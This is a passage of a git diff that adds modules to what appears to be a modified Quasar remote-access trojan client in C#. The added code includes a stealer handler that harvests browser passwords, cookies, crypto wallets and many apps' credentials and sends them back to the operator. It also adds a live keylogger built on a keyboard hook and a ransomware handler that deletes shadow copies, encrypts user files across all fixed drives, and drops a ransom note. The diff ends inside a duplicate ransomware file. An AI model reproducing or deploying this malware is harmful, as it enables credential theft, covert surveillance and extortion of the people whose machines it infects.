Path.GetFileName(subDir)); + CopyDirectory(subDir, destSubDir); + } + } + + private void RemoveFileTransfer(int id) + { + if (_activeTransfers.ContainsKey(id)) + { + _activeTransfers[id]?.Dispose(); + _activeTransfers.TryRemove(id, out _); + } + } + + /// + /// Disposes all managed and unmanaged resources associated with this message processor. + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) + { + if (disposing) + { + _client.ClientState -= OnClientStateChange; + _tokenSource.Cancel(); + _tokenSource.Dispose(); + foreach (var transfer in _activeTransfers) + { + transfer.Value?.Dispose(); + } + + _activeTransfers.Clear(); + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Messages/IntelixStealerHandler.cs b/Quasar-1.4.1/Quasar.Client/Messages/IntelixStealerHandler.cs new file mode 100755 index 0000000..3e4aeec --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Messages/IntelixStealerHandler.cs @@ -0,0 +1,238 @@ +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading; +using Intelix.Helper; +using Intelix.Helper.Data; +using Intelix.Targets; +using Intelix.Targets.Applications; +using Intelix.Targets.Browsers; +using Intelix.Targets.Crypto; +using Intelix.Targets.Device; +using Intelix.Targets.Games; +using Intelix.Targets.Messangers; +using Intelix.Targets.Vpn; + +namespace Quasar.Client.Messages +{ + public class IntelixStealerHandler : IMessageProcessor + { + public bool CanExecute(IMessage message) => message is GetIntelixStealerLogs; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetIntelixStealerLogs msg: + Execute(sender, msg); + break; + } + } + + private void Execute(ISender client, GetIntelixStealerLogs message) + { + new Thread(() => + { + try + { + List targetsBrowsers = new List + { + new Chromium(), + new Gecko() + }; + + List targets = new List + { + new ScreenShot(), + new GameList(), + new InstalledBrowsers(), + new InstalledPrograms(), + new ProcessDump(), + new ProductKey(), + new SystemInfo(), + new WifiKey(), + new Telegram(), + new Discord(), + new Element(), + new Icq(), + new MicroSIP(), + new Jabber(), + new Outlook(), + new Pidgin(), + new Signal(), + new Skype(), + new Tox(), + new Viber(), + new Minecraft(), + new BattleNet(), + new Epic(), + new Riot(), + new Roblox(), + new Steam(), + new Uplay(), + new XBox(), + new Growtopia(), + new ElectronicArts(), + new Rdp(), + new AnyDesk(), + new CyberDuck(), + new DynDns(), + new FileZilla(), + new Ngrok(), + new PlayIt(), + new TeamViewer(), + new WinSCP(), + new TotalCommander(), + new FTPNavigator(), + new FTPRush(), + new CoreFtp(), + new FTPGetter(), + new FTPCommander(), + new TeamSpeak(), + new Obs(), + new GithubGui(), + new NoIp(), + new FoxMail(), + new Navicat(), + new RDCMan(), + new Sunlogin(), + new Xmanager(), + new JetBrains(), + new PuTTY(), + new Cisco(), + new RadminVPN(), + new CyberGhost(), + new ExpressVPN(), + new HideMyName(), + new IpVanish(), + new MullVad(), + new NordVpn(), + new OpenVpn(), + new PIAVPN(), + new ProtonVpn(), + new Proxifier(), + new SurfShark(), + new Hamachi(), + new WireGuard(), + new SoftEther(), + new CryptoDesktop(), + new Grabber(), + new UserAgentGenerator(), + new CryptoChromium(), + new CryptoGecko() + }; + + StringBuilder stringBuilderError = new StringBuilder(); + InMemoryZip zip = new InMemoryZip(); + + try + { + Counter counter = new Counter(); + + string publicIp = "N/A"; + try + { + publicIp = IpApi.GetPublicIp(); + } + catch (Exception ex) + { + stringBuilderError.AppendLine($"Failed to get IP: {ex.Message}"); + } + + string countryCode = "XX"; + try + { + countryCode = IpApi.GetCountryCode(); + } + catch (Exception ex) + { + stringBuilderError.AppendLine($"Failed to get country code: {ex.Message}"); + } + + string hwid = "UnknownHWID"; + try + { + hwid = HwidGenerator.GetHwid(); + } + catch (Exception ex) + { + stringBuilderError.AppendLine($"Failed to get HWID: {ex}"); + } + + ArchiveStructure archiveStructure = new ArchiveStructure(countryCode, publicIp, hwid); + zip.SetRootFolderPrefix(archiveStructure.RootFolderName); + + // Process browsers + ProcessKiller.KillerAll(); + Thread.Sleep(200); + + foreach (var target in targetsBrowsers) + { + try + { + target.Collect(zip, counter); + } + catch (Exception ex) + { + stringBuilderError.AppendLine($"[BROWSER: {target.GetType().Name}] {ex.Message}"); + } + } + + // Process other targets + foreach (var target in targets) + { + try + { + target.Collect(zip, counter); + } + catch (Exception ex) + { + stringBuilderError.AppendLine($"[TARGET: {target.GetType().Name}] {ex.Message}"); + } + } + + counter.Collect(zip); + ConsolidatedFilesGenerator.GenerateConsolidatedFiles(zip, counter, publicIp, countryCode, hwid); + zip.AddTextFile("Error.txt", stringBuilderError.ToString()); + + // Send the zip data back + byte[] zipData = zip.ToArray(); + + client.Send(new GetIntelixStealerLogsResponse + { + ZipData = zipData, + Hwid = hwid, + PublicIp = publicIp, + CountryCode = countryCode, + PasswordCount = counter.Browsers.Sum(b => (long)b.Password), + CookieCount = counter.Browsers.Sum(b => (long)b.Cookies), + WalletCount = counter.CryptoDesktop.Count() + counter.CryptoChromium.Count(), + Success = true + }); + } + finally + { + if (zip != null) + ((IDisposable)zip).Dispose(); + } + } + catch (Exception ex) + { + client.Send(new GetIntelixStealerLogsResponse + { + Success = false, + ErrorMessage = ex.Message + }); + } + }) + { + IsBackground = true + }.Start(); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Messages/KeyloggerHandler.cs b/Quasar-1.4.1/Quasar.Client/Messages/KeyloggerHandler.cs new file mode 100755 index 0000000..4a91637 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Messages/KeyloggerHandler.cs @@ -0,0 +1,28 @@ +using Quasar.Client.Config; +using Quasar.Common.Messages; +using Quasar.Common.Networking; + +namespace Quasar.Client.Messages +{ + public class KeyloggerHandler : IMessageProcessor + { + public bool CanExecute(IMessage message) => message is GetKeyloggerLogsDirectory; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetKeyloggerLogsDirectory msg: + Execute(sender, msg); + break; + } + } + + public void Execute(ISender client, GetKeyloggerLogsDirectory message) + { + client.Send(new GetKeyloggerLogsDirectoryResponse {LogsDirectory = Settings.LOGSPATH }); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Messages/LiveKeyloggerHandler.cs b/Quasar-1.4.1/Quasar.Client/Messages/LiveKeyloggerHandler.cs new file mode 100755 index 0000000..2bbf9a2 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Messages/LiveKeyloggerHandler.cs @@ -0,0 +1,319 @@ +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using System; +using System.Diagnostics; +using System.Runtime.InteropServices; +using System.Text; +using System.Threading; +using System.Windows.Forms; + +namespace Quasar.Client.Messages +{ + public class LiveKeyloggerHandler : IMessageProcessor + { + private static Thread _keyloggerThread; + private static ISender _client; + private static bool _isRunning = false; + + public bool CanExecute(IMessage message) => message is DoStartLiveKeylogger || message is DoStopLiveKeylogger; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + try + { + switch (message) + { + case DoStartLiveKeylogger _: + StartKeylogger(sender); + break; + case DoStopLiveKeylogger _: + StopKeylogger(); + break; + } + } + catch { } + } + + private void StartKeylogger(ISender client) + { + try + { + if (_isRunning) return; + + _client = client; + _isRunning = true; + + _keyloggerThread = new Thread(() => + { + try + { + KeyloggerCore.Run(_client); + } + catch { } + }); + _keyloggerThread.SetApartmentState(ApartmentState.STA); + _keyloggerThread.IsBackground = true; + _keyloggerThread.Start(); + } + catch { } + } + + private void StopKeylogger() + { + try + { + if (!_isRunning) return; + + _isRunning = false; + KeyloggerCore.Stop(); + + if (_keyloggerThread != null && _keyloggerThread.IsAlive) + { + _keyloggerThread.Join(1000); + } + + _client = null; + } + catch { } + } + } + + internal static class KeyloggerCore + { + private static IntPtr _hookID = IntPtr.Zero; + private static LowLevelKeyboardProc _proc; + private static ISender _client; + private static bool _isRunning = false; + + public static void Run(ISender client) + { + try + { + _client = client; + _isRunning = true; + _proc = HookCallback; + _hookID = SetHook(_proc); + + if (_hookID == IntPtr.Zero) + { + _isRunning = false; + return; + } + + // Run message loop to keep hook alive + while (_isRunning) + { + try + { + Application.DoEvents(); + Thread.Sleep(10); + } + catch { } + } + } + catch { } + finally + { + Stop(); + } + } + + public static void Stop() + { + try + { + _isRunning = false; + if (_hookID != IntPtr.Zero) + { + UnhookWindowsHookEx(_hookID); + _hookID = IntPtr.Zero; + } + } + catch { } + } + + private static IntPtr SetHook(LowLevelKeyboardProc proc) + { + try + { + using (Process curProcess = Process.GetCurrentProcess()) + using (ProcessModule curModule = curProcess.MainModule) + { + return SetWindowsHookEx(WHKEYBOARDLL, proc, GetModuleHandle(curModule.ModuleName), 0); + } + } + catch + { + return IntPtr.Zero; + } + } + + private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam) + { + try + { + if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN && _isRunning) + { + int vkCode = Marshal.ReadInt32(lParam); + bool capsLock = (GetKeyState(0x14) & 0xffff) != 0; + bool shiftPress = (GetKeyState(0xA0) & 0x8000) != 0 || (GetKeyState(0xA1) & 0x8000) != 0; + string currentKey = KeyboardLayout((uint)vkCode); + + if (capsLock || shiftPress) + { + currentKey = currentKey.ToUpper(); + } + else + { + currentKey = currentKey.ToLower(); + } + + if ((Keys)vkCode >= Keys.F1 && (Keys)vkCode <= Keys.F24) + currentKey = "[" + (Keys)vkCode + "]"; + else + { + switch (((Keys)vkCode).ToString()) + { + case "Space": + currentKey = " "; + break; + case "Return": + currentKey = "[ENTER]\n"; + break; + case "Escape": + currentKey = "[ESC]"; + break; + case "LControlKey": + case "RControlKey": + currentKey = "[CTRL]"; + break; + case "RShiftKey": + case "LShiftKey": + currentKey = ""; + break; + case "Back": + currentKey = "[BACK]"; + break; + case "LWin": + currentKey = "[WIN]"; + break; + case "Tab": + currentKey = "[TAB]\n"; + break; + case "Capital": + currentKey = capsLock ? "[CAPSLOCK: OFF]" : "[CAPSLOCK: ON]"; + break; + } + } + + if (!string.IsNullOrEmpty(currentKey)) + { + string windowTitle = GetActiveWindowTitle(); + + if (_client != null) + { + try + { + _client.Send(new LiveKeystrokeData + { + WindowTitle = windowTitle, + Keystroke = currentKey + }); + } + catch { } + } + } + } + } + catch { } + + try + { + return CallNextHookEx(_hookID, nCode, wParam, lParam); + } + catch + { + return IntPtr.Zero; + } + } + + private static string KeyboardLayout(uint vkCode) + { + try + { + StringBuilder sb = new StringBuilder(); + byte[] vkBuffer = new byte[256]; + if (!GetKeyboardState(vkBuffer)) return ""; + uint scanCode = MapVirtualKey(vkCode, 0); + IntPtr keyboardLayout = GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow(), out uint processId)); + ToUnicodeEx(vkCode, scanCode, vkBuffer, sb, 5, 0, keyboardLayout); + return sb.ToString(); + } + catch { } + return ((Keys)vkCode).ToString(); + } + + private static string GetActiveWindowTitle() + { + try + { + IntPtr hwnd = GetForegroundWindow(); + GetWindowThreadProcessId(hwnd, out uint pid); + Process p = Process.GetProcessById((int)pid); + string title = p.MainWindowTitle; + if (string.IsNullOrWhiteSpace(title)) + title = p.ProcessName; + return title; + } + catch + { + return "Unknown"; + } + } + + #region "Native Methods" + private const int WM_KEYDOWN = 0x0100; + private const int WHKEYBOARDLL = 13; + + private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam); + + [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] + private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId); + + [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + private static extern bool UnhookWindowsHookEx(IntPtr hhk); + + [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] + private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam); + + [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] + private static extern IntPtr GetModuleHandle(string lpModuleName); + + [DllImport("user32.dll")] + private static extern IntPtr GetForegroundWindow(); + + [DllImport("user32.dll", SetLastError = true)] + private static extern uint GetWindowThreadProcessId(IntPtr hWnd, out uint lpdwProcessId); + + [DllImport("user32.dll", CharSet = CharSet.Auto, ExactSpelling = true, CallingConvention = CallingConvention.Winapi)] + private static extern short GetKeyState(int keyCode); + + [DllImport("user32.dll", SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + private static extern bool GetKeyboardState(byte[] lpKeyState); + + [DllImport("user32.dll")] + private static extern IntPtr GetKeyboardLayout(uint idThread); + + [DllImport("user32.dll")] + private static extern int ToUnicodeEx(uint wVirtKey, uint wScanCode, byte[] lpKeyState, + [Out, MarshalAs(UnmanagedType.LPWStr)] StringBuilder pwszBuff, int cchBuff, uint wFlags, IntPtr dwhkl); + + [DllImport("user32.dll")] + private static extern uint MapVirtualKey(uint uCode, uint uMapType); + #endregion + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Messages/MessageBoxHandler.cs b/Quasar-1.4.1/Quasar.Client/Messages/MessageBoxHandler.cs new file mode 100755 index 0000000..608663f --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Messages/MessageBoxHandler.cs @@ -0,0 +1,39 @@ +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using System; +using System.Threading; +using System.Windows.Forms; + +namespace Quasar.Client.Messages +{ + public class MessageBoxHandler : IMessageProcessor + { + public bool CanExecute(IMessage message) => message is DoShowMessageBox; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case DoShowMessageBox msg: + Execute(sender, msg); + break; + } + } + + private void Execute(ISender client, DoShowMessageBox message) + { + new Thread(() => + { + // messagebox thread resides in csrss.exe - wtf? + MessageBox.Show(message.Text, message.Caption, + (MessageBoxButtons)Enum.Parse(typeof(MessageBoxButtons), message.Button), + (MessageBoxIcon)Enum.Parse(typeof(MessageBoxIcon), message.Icon), + MessageBoxDefaultButton.Button1, MessageBoxOptions.DefaultDesktopOnly); + }) {IsBackground = true}.Start(); + + client.Send(new SetStatus { Message = "Successfully displayed MessageBox" }); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Messages/NotificationMessageProcessor.cs b/Quasar-1.4.1/Quasar.Client/Messages/NotificationMessageProcessor.cs new file mode 100755 index 0000000..d02966b --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Messages/NotificationMessageProcessor.cs @@ -0,0 +1,11 @@ +using Quasar.Common.Messages; + +namespace Quasar.Client.Messages +{ + public abstract class NotificationMessageProcessor : MessageProcessorBase + { + protected NotificationMessageProcessor() : base(true) + { + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Messages/RansomwareHandler.cs b/Quasar-1.4.1/Quasar.Client/Messages/RansomwareHandler.cs new file mode 100755 index 0000000..605ac4c --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Messages/RansomwareHandler.cs @@ -0,0 +1,433 @@ +using Quasar.Client.Ransomware; +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using System; +using System.Diagnostics; +using System.IO; +using System.Linq; +using System.Runtime.InteropServices; +using System.Threading; + +namespace Quasar.Client.Messages +{ + public class RansomwareHandler : IMessageProcessor + { + [DllImport("user32.dll", CharSet = CharSet.Auto)] + private static extern int SystemParametersInfo(uint action, uint uParam, string vParam, uint winIni); + + private const uint SPI_SETDESKWALLPAPER = 0x0014; + private const uint SPIF_UPDATEINIFILE = 0x01; + private const uint SPIF_SENDCHANGE = 0x02; + + // Target extensions for encryption + private static readonly string[] TargetExtensions = new[] + { + // Documents + ".txt", ".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".pdf", ".odt", ".ods", ".odp", + ".rtf", ".tex", ".wpd", ".wps", ".csv", ".xml", ".json", ".log", ".ini", ".cfg", ".conf", + ".yaml", ".yml", ".toml", ".md", ".markdown", + // Images + ".jpg", ".jpeg", ".png", ".gif", ".bmp", ".tif", ".tiff", ".psd", ".ai", ".svg", ".ico", + ".raw", ".cr2", ".nef", ".orf", ".sr2", ".dng", ".arw", ".rw2", ".rwl", ".crw", ".eps", + ".webp", ".heic", ".heif", ".jfif", ".jp2", ".j2k", ".jpf", ".jpx", ".jpm", + // Videos + ".mp4", ".avi", ".mkv", ".mov", ".wmv", ".flv", ".webm", ".m4v", ".mpg", ".mpeg", + ".3gp", ".3g2", ".f4v", ".swf", ".vob", ".ogv", ".m2ts", ".mts", ".ts", ".divx", + // Audio + ".mp3", ".wav", ".flac", ".aac", ".ogg", ".wma", ".m4a", ".aiff", ".ape", ".opus", + ".mid", ".midi", ".amr", ".alac", ".dsd", ".dsf", ".dff", ".mka", + // Archives + ".zip", ".rar", ".7z", ".tar", ".gz", ".bz2", ".xz", ".iso", ".dmg", ".pkg", + ".deb", ".rpm", ".cab", ".msi", ".jar", ".war", ".ear", ".apk", ".ipa", + // Databases + ".sql", ".db", ".dbf", ".mdb", ".accdb", ".sqlite", ".sqlite3", ".db3", ".s3db", + ".sl3", ".frm", ".myd", ".myi", ".ibd", ".dbx", ".pdb", + // Code & Development + ".c", ".cpp", ".cs", ".java", ".py", ".php", ".js", ".html", ".css", ".rb", ".go", ".rs", + ".swift", ".kt", ".scala", ".pl", ".sh", ".bat", ".ps1", ".vbs", ".asp", ".aspx", ".jsp", + ".vue", ".tsx", ".jsx", ".ts", ".coffee", ".dart", ".lua", ".r", ".m", ".h", ".hpp", + ".asm", ".s", ".pas", ".vb", ".vba", ".sql", ".gradle", ".maven", ".sln", ".csproj", + ".vcxproj", ".xcodeproj", ".pbxproj", + // 3D & CAD + ".blend", ".obj", ".fbx", ".dae", ".3ds", ".max", ".c4d", ".mb", ".ma", ".dwg", ".dxf", + ".skp", ".stl", ".ply", ".gltf", ".glb", ".usd", ".usda", ".usdc", + // Email & Communication + ".pst", ".ost", ".msg", ".eml", ".emlx", ".mbox", ".mbx", ".vcf", ".ics", + // Office & Productivity + ".vsd", ".vsdx", ".pub", ".one", ".onenote", ".mpp", ".xps", ".oxps", + // Backup & Virtual + ".bak", ".backup", ".old", ".tmp", ".vmdk", ".vdi", ".vhd", ".vhdx", ".ova", ".ovf", + // Certificates & Keys + ".cer", ".crt", ".der", ".p7b", ".p7c", ".p12", ".pfx", ".pem", ".key", ".pub", ".gpg", + ".asc", ".sig", ".pgp", ".kdb", ".kdbx", + // Financial & Business + ".qbw", ".qbb", ".qbm", ".qbx", ".tax", ".ynab", ".ofx", ".qfx", ".qif", + // Game Files + ".sav", ".save", ".dat", ".pak", ".vpk", ".gcf", ".ncf", ".forge", ".ltx", ".bsa", + ".unity3d", ".unitypackage", ".uasset", ".upk", ".rom", ".gba", ".nds", ".smc", + // Fonts + ".ttf", ".otf", ".woff", ".woff2", ".eot", ".fon", ".fnt", + // eBooks + ".epub", ".mobi", ".azw", ".azw3", ".fb2", ".lit", ".lrf", ".tcr", ".prc", + // Other Important + ".wallet", ".dat", ".config", ".settings", ".prefs", ".properties", ".env" + }; + + public bool CanExecute(IMessage message) => message is DoRansomware; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case DoRansomware ransomware: + Execute(sender, ransomware); + break; + } + } + + private void Execute(ISender sender, DoRansomware ransomware) + { + new Thread(() => + { + try + { + if (ransomware.Action == "ENCRYPT") + { + PerformEncryption(sender, ransomware); + } + else if (ransomware.Action == "DECRYPT") + { + PerformDecryption(sender, ransomware); + } + } + catch (Exception ex) + { + sender.Send(new RansomwareResponse + { + Status = "ERROR", + Message = ex.Message, + IsComplete = true + }); + } + }).Start(); + } + + private void WipeVolumeShadowCopies(ISender sender) + { + try + { + sender.Send(new RansomwareResponse + { + Status = "PROGRESS", + Message = "Deleting volume shadow copies...", + IsComplete = false + }); + + // Method 1: vssadmin delete shadows /all /quiet + try + { + ProcessStartInfo psi = new ProcessStartInfo + { + FileName = "vssadmin.exe", + Arguments = "delete shadows /all /quiet", + CreateNoWindow = true, + UseShellExecute = false, + WindowStyle = ProcessWindowStyle.Hidden + }; + Process.Start(psi)?.WaitForExit(10000); + } + catch { } + + // Method 2: wmic shadowcopy delete + try + { + ProcessStartInfo psi = new ProcessStartInfo + { + FileName = "wmic.exe", + Arguments = "shadowcopy delete", + CreateNoWindow = true, + UseShellExecute = false, + WindowStyle = ProcessWindowStyle.Hidden + }; + Process.Start(psi)?.WaitForExit(10000); + } + catch { } + + // Method 3: PowerShell + try + { + ProcessStartInfo psi = new ProcessStartInfo + { + FileName = "powershell.exe", + Arguments = "-Command \"Get-WmiObject Win32_ShadowCopy | ForEach-Object {$_.Delete()}\"", + CreateNoWindow = true, + UseShellExecute = false, + WindowStyle = ProcessWindowStyle.Hidden + }; + Process.Start(psi)?.WaitForExit(15000); + } + catch { } + + sender.Send(new RansomwareResponse + { + Status = "PROGRESS", + Message = "Volume shadow copies deleted.", + IsComplete = false + }); + } + catch (Exception ex) + { + sender.Send(new RansomwareResponse + { + Status = "PROGRESS", + Message = $"Failed to delete volume shadow copies: {ex.Message}", + IsComplete = false + }); + } + } + + private void PerformEncryption(ISender sender, DoRansomware ransomware) + { + int filesProcessed = 0; + + sender.Send(new RansomwareResponse + { + Status = "STARTED", + Message = "Starting encryption...", + FilesProcessed = 0, + IsComplete = false + }); + + // Get all user-accessible drives + DriveInfo[] drives = DriveInfo.GetDrives(); + + foreach (DriveInfo drive in drives) + { + try + { + // Only target fixed drives (not CD-ROM, network, etc.) + if (drive.DriveType != DriveType.Fixed || !drive.IsReady) + continue; + + // Skip if it's the system drive root (to avoid Windows folder) + string drivePath = drive.RootDirectory.FullName; + + // Scan the entire drive but exclude Windows system folders + filesProcessed += EncryptDirectory(sender, drivePath, ransomware, filesProcessed); + } + catch { } + } + + // Drop ransom note + if (!string.IsNullOrEmpty(ransomware.RansomNote)) + { + try + { + string desktopPath = Environment.GetFolderPath(Environment.SpecialFolder.Desktop); + File.WriteAllText(Path.Combine(desktopPath, "READ_ME.txt"), ransomware.RansomNote); + } + catch { } + } + + // Change wallpaper + if (ransomware.ChangeWallpaper && !string.IsNullOrEmpty(ransomware.WallpaperText)) + { + try + { + ChangeWallpaper(ransomware.WallpaperText); + } + catch { } + } + + sender.Send(new RansomwareResponse + { + Status = "COMPLETED", + Message = $"Encryption completed. {filesProcessed} files encrypted.", + FilesProcessed = filesProcessed, + IsComplete = true + }); + } + + private int EncryptDirectory(ISender sender, string directory, DoRansomware ransomware, int currentCount) + { + int filesProcessed = 0; + + try + { + string lowerDir = directory.ToLower(); + + // Only skip Windows system folder itself, not Program Files or ProgramData + if (lowerDir.Contains("\\windows\\") || + lowerDir.Contains("\\$recycle.bin") || + lowerDir.Contains("\\system volume information") || + lowerDir.EndsWith("\\windows")) + { + return 0; + } + + // Get files in current directory + var files = Directory.GetFiles(directory) + .Where(f => TargetExtensions.Contains(Path.GetExtension(f).ToLower())) + .ToList(); + + foreach (var file in files) + { + try + { + // Encrypt the file + FileEncryptor.EncryptFile(file, ransomware.EncryptionKey, ransomware.FileExtension); + filesProcessed++; + + // Send progress update every 50 files + if (filesProcessed % 50 == 0) + { + sender.Send(new RansomwareResponse + { + Status = "PROGRESS", + Message = $"Encrypting... {currentCount + filesProcessed} files processed", + FilesProcessed = currentCount + filesProcessed, + IsComplete = false + }); + } + } + catch { } + } + + // Recursively process subdirectories + foreach (var subDir in Directory.GetDirectories(directory)) + { + filesProcessed += EncryptDirectory(sender, subDir, ransomware, currentCount + filesProcessed); + } + } + catch { } + + return filesProcessed; + } + + private void PerformDecryption(ISender sender, DoRansomware ransomware) + { + int filesProcessed = 0; + + sender.Send(new RansomwareResponse + { + Status = "STARTED", + Message = "Starting decryption...", + FilesProcessed = 0, + IsComplete = false + }); + + // Get all user-accessible drives + DriveInfo[] drives = DriveInfo.GetDrives(); + + foreach (DriveInfo drive in drives) + { + try + { + if (drive.DriveType != DriveType.Fixed || !drive.IsReady) + continue; + + string drivePath = drive.RootDirectory.FullName; + filesProcessed += DecryptDirectory(sender, drivePath, ransomware, filesProcessed); + } + catch { } + } + + sender.Send(new RansomwareResponse + { + Status = "COMPLETED", + Message = $"Decryption completed. {filesProcessed} files decrypted.", + FilesProcessed = filesProcessed, + IsComplete = true + }); + } + + private int DecryptDirectory(ISender sender, string directory, DoRansomware ransomware, int currentCount) + { + int filesProcessed = 0; + + try + { + string lowerDir = directory.ToLower(); + + if (lowerDir.Contains("\\windows\\") || + lowerDir.Contains("\\$recycle.bin") || + lowerDir.Contains("\\system volume information") || + lowerDir.EndsWith("\\windows")) + { + return 0; + } + + // Get encrypted files + var files = Directory.GetFiles(directory) + .Where(f => f.EndsWith(ransomware.FileExtension, StringComparison.OrdinalIgnoreCase)) + .ToList(); + + foreach (var file in files) + { + try + { + // Decrypt the file + bool success = FileEncryptor.DecryptFile(file, ransomware.EncryptionKey, ransomware.FileExtension); + if (success) + { + filesProcessed++; + + // Send progress update every 50 files + if (filesProcessed % 50 == 0) + { + sender.Send(new RansomwareResponse + { + Status = "PROGRESS", + Message = $"Decrypting... {currentCount + filesProcessed} files processed", + FilesProcessed = currentCount + filesProcessed, + IsComplete = false + }); + } + } + } + catch { } + } + + // Recursively process subdirectories + foreach (var subDir in Directory.GetDirectories(directory)) + { + filesProcessed += DecryptDirectory(sender, subDir, ransomware, currentCount + filesProcessed); + } + } + catch { } + + return filesProcessed; + } + + private void ChangeWallpaper(string text) + { + try + { + string tempPath = Path.Combine(Path.GetTempPath(), "wallpaper.bmp"); + + // Create a simple bitmap with text + using (var bmp = new System.Drawing.Bitmap(1920, 1080)) + using (var g = System.Drawing.Graphics.FromImage(bmp)) + { + g.Clear(System.Drawing.Color.Black); + using (var font = new System.Drawing.Font("Arial", 48, System.Drawing.FontStyle.Bold)) + using (var brush = new System.Drawing.SolidBrush(System.Drawing.Color.Red)) + { + var format = new System.Drawing.StringFormat + { + Alignment = System.Drawing.StringAlignment.Center, + LineAlignment = System.Drawing.StringAlignment.Center + }; + g.DrawString(text, font, brush, new System.Drawing.RectangleF(0, 0, 1920, 1080), format); + } + bmp.Save(tempPath, System.Drawing.Imaging.ImageFormat.Bmp); + } + + SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, tempPath, SPIF_UPDATEINIFILE | SPIF_SENDCHANGE); + } + catch { } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Messages/RansomwareHandler.cs.broken b/Quasar-1.4.1/Quasar.Client/Messages/RansomwareHandler.cs.broken new file mode 100755 index 0000000..f8c41bd --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Messages/RansomwareHandler.cs.broken @@ -0,0 +1,1199 @@ +using Quasar.Client.Ransomware; +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using System; +using System.Diagnostics; +using System.IO; +using System.Linq; +using System.Runtime.InteropServices; +using System.Threading; + +namespace Quasar.Client.Messages +{ + public class RansomwareHandler : IMessageProcessor + { + [DllImport("user32.dll", CharSet = CharSet.Auto)] + private static extern int SystemParametersInfo(uint action, uint uParam, string vParam, uint winIni); + + private const uint SPI_SETDESKWALLPAPER = 0x0014; + private const uint SPIF_UPDATEINIFILE = 0x01; + private const uint SPIF_SENDCHANGE = 0x02; + + // Target extensions for encryption + private static readonly string[] TargetExtensions = new[] + { + // Documents + ".txt", ".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".pdf", ".odt", ".ods", ".odp", + ".rtf", ".tex", ".wpd", ".wps", ".csv", ".xml", ".json", ".log", ".ini", ".cfg", ".conf", + ".yaml", ".yml", ".toml", ".md", ".markdown", + // Images + ".jpg", ".jpeg", ".png", ".gif", ".bmp", ".tif", ".tiff", ".psd", ".ai", ".svg", ".ico", + ".raw", ".cr2", ".nef", ".orf", ".sr2", ".dng", ".arw", ".rw2", ".rwl", ".crw", ".eps", + ".webp", ".heic", ".heif", ".jfif", ".jp2", ".j2k", ".jpf", ".jpx", ".jpm", + // Videos + ".mp4", ".avi", ".mkv", ".mov", ".wmv", ".flv", ".webm", ".m4v", ".mpg", ".mpeg", + ".3gp", ".3g2", ".f4v", ".swf", ".vob", ".ogv", ".m2ts", ".mts", ".ts", ".divx", + // Audio + ".mp3", ".wav", ".flac", ".aac", ".ogg", ".wma", ".m4a", ".aiff", ".ape", ".opus", + ".mid", ".midi", ".amr", ".alac", ".dsd", ".dsf", ".dff", ".mka", + // Archives + ".zip", ".rar", ".7z", ".tar", ".gz", ".bz2", ".xz", ".iso", ".dmg", ".pkg", + ".deb", ".rpm", ".cab", ".msi", ".jar", ".war", ".ear", ".apk", ".ipa", + // Databases + ".sql", ".db", ".dbf", ".mdb", ".accdb", ".sqlite", ".sqlite3", ".db3", ".s3db", + ".sl3", ".frm", ".myd", ".myi", ".ibd", ".dbx", ".pdb", + // Code & Development + ".c", ".cpp", ".cs", ".java", ".py", ".php", ".js", ".html", ".css", ".rb", ".go", ".rs", + ".swift", ".kt", ".scala", ".pl", ".sh", ".bat", ".ps1", ".vbs", ".asp", ".aspx", ".jsp", + ".vue", ".tsx", ".jsx", ".ts", ".coffee", ".dart", ".lua", ".r", ".m", ".h", ".hpp", + ".asm", ".s", ".pas", ".vb", ".vba", ".sql", ".gradle", ".maven", ".sln", ".csproj", + ".vcxproj", ".xcodeproj", ".pbxproj", + // 3D & CAD + ".blend", ".obj", ".fbx", ".dae", ".3ds", ".max", ".c4d", ".mb", ".ma", ".dwg", ".dxf", + ".skp", ".stl", ".ply", ".gltf", ".glb", ".usd", ".usda", ".usdc", + // Email & Communication + ".pst", 